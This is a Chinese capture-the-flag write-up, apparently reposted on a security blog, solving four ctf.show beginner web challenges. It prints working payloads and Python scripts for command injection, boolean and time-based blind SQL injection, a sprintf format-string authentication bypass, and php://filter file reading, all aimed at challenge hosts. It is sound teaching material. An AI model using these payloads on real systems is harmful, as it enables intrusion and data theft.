CTF show萌新赛 web

admin 2022年1月5日23:08:35评论69 views字数 2949阅读9分49秒阅读模式

>

>

CTF show萌新赛 web

_yu_

平台地址:https://ctf.show

0x01 web_签到

源码:

<?php 
if(isset($_GET['url'])){
        system("curl https://".$_GET['url'].".ctf.show");
}else{
        show_source(__FILE__);
}
 ?>

很明显的命令执行漏洞,我们把前后闭合即可,payload:①1;ls;11;cat flag;1

0x02 web_假赛生

根据提示,存在 login.php register.php,根据要求需要用户名为admin,我们尝试注册发现已存在,接着尝试注册用户名admin+空格,接着用admin登录,发现登录成功
,接着需要绕过这个正则表达式,我们直接c等于空不就可以绕过了嘛,成功拿到flag

if(isset($_GET['c'])){
            preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);
            echo $flag;
        }

0x03 web_萌新记忆

题目提示:登录成功即可得到flag
扫描后台发现admin目录,打开是一个登录页面,经过一番尝试在没有语句错误的情况下发现有三种返回结果①用户名/密码错误②用户名错误③密码错误
①用户名/密码错误:当输入的用户名不为admin且不超过限制的长度时
②用户名错误:用户名长度超过限制(字符长度最大为20)
③密码错误:输入用户名为admin
通过测试发现未过滤的字符有单引号(')、逗号(,)、括号(())、小于号(<)、或(||)、substr()、lift、right、length()还有一些可以自行尝试。
根据提示我们的目标已经很明确,拿到admin的密码
首先尝试'||'a'<'b,发现返回的是第三种情况那么出题人应该就是要我们用布尔盲注了。
既然length可以使用,那么我们可以猜测一下密码字段名(password、passwd、pass、p)和其长度,payload:'||length(p)<'100
发现当字段名为p时为第三种返回结果当长度为18是返回结果发生变化,所以字段长度为17,因为substr没有被屏蔽所以猜测字段值的payload为'||substr(p,1,1)<'a,这里附上盲注脚本

#author:羽
import requests
url='https://8b2472d3-6e32-4ac6-b4b5-6134f3aeb7c8.chall.ctf.show/admin/checklogin.php'
s= '0123456789abcdefghijklmnopqrstuvwxyz'
flag=''
for i in range(1,18):
        print('*')
        for j in s:
            data={"u":"'||substr(p,"+str(i)+",1)<'"+j,
                          "p":"1"
                }
            r=requests.post(url,data=data)
            #print(r.text)
            if "密码错误" == r.text:
                flag+=chr(ord(j)-1)
                print(flag)
                break

0x04 web_给她

根据题目名很容易联想到.git源码泄露,直接用githack扫描题目地址+/.git发现确实如此。
得到hint.php如下

<?php
$pass=sprintf("and pass='%s'",addslashes($_GET['pass']));
$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));
?>

一开始看到addslashes就猜测可能是宽字节注入,尝试一番发现并没有,然后还有一个函数 sprintf很可疑,去网上查找该函数的漏洞,发现内容还真不少,我们先来了解一下该函数。
1 作用是将格式化字符串写入变量中

2 函数形式为sprintf(format,arg1,arg2,arg++)
format(%s - 字符串,%c - ASCII 值对应的字符,%d - 包含正负号的十进制数(负数、0、正数))
必需。规定字符串以及如何格式化其中的变量。
arg1
必需。规定插到 format 字符串中第一个 % 符号处的参数。
arg2
可选。规定插到 format 字符串中第二个 % 符号处的参数。

首先明确一下我们的目的,目的是成功登陆得构造万能密码。
在sprintf中 如果format中的格式化符为%1$c,则表示第一个参数位置的类型为%c,我们再来仔细看一下上面的hint.php,如果我们输入的name为39并且是以%c的形式,那么不就是相当于是单引号的吗,好我们这里构造payload: name=39&pass=1%1\$c||1=1%23 还原一下就相当于输入name=39&pass=1' || 1=1%23
成功登陆后页面跳转到一个假的404页面,查看源代码发现提示flag在/flag中,那我们接下来的目标也明确了,就是读取/flag。
查看请求头发现cookie file=666c61672e747874 转成字符串发现是flag.txt,那我们直接把/flag转成16进制不就ok了嘛。但是返回的不是flag,应该是存在过滤,好,既然如此那我们用php伪协议中带base64的——php://filter/convert.base64-encode/source=/flag ,妹的,base64也被过滤,好吧只能使出尘封多年的rot13了——php://filter/read=string.toupper|string.rot13/resource=/flag成功返回rot13后的flag还原即可
这里再提下第二种方法——布尔盲注
既然flag在/flag中,我们试试用load_file(/flag),先将/falg转为16进制
payload:name=39&pass=1%1$c or if(ascii(substr((select load_file(0x2f666c6167)),1,1))=102,sleep(3),1)--+
这里给出盲注脚本

#author:羽
import requests
url="https://1cde46a1-34ca-458b-82f4-f6e905716d31.chall.ctf.show/?name=39&pass=1%1$c or "
l=""
s="0123456789abcdefghijklmnopqrstuvwxyz-{}"
for i in range(1,50):
    print("*")
    for j in s:
        u=url+"if(ascii(substr((select load_file(0x2f666c6167)),"+str(i)+",1))="+str(ord(j))+",sleep(3),1)--+"
        #print(u)
        try:
                r =  requests.get(u,timeout=(2.5,2.5))
                #print(r.text)
        except:
                l+=j
                print(l)
                break

yuchoxuuan

给她我就是盲注的


fffdy

yuchoxuuan 师傅 nb


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月5日23:08:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTF show萌新赛 webhttp://cn-sec.com/archives/719964.html

发表评论

匿名网友 填写信息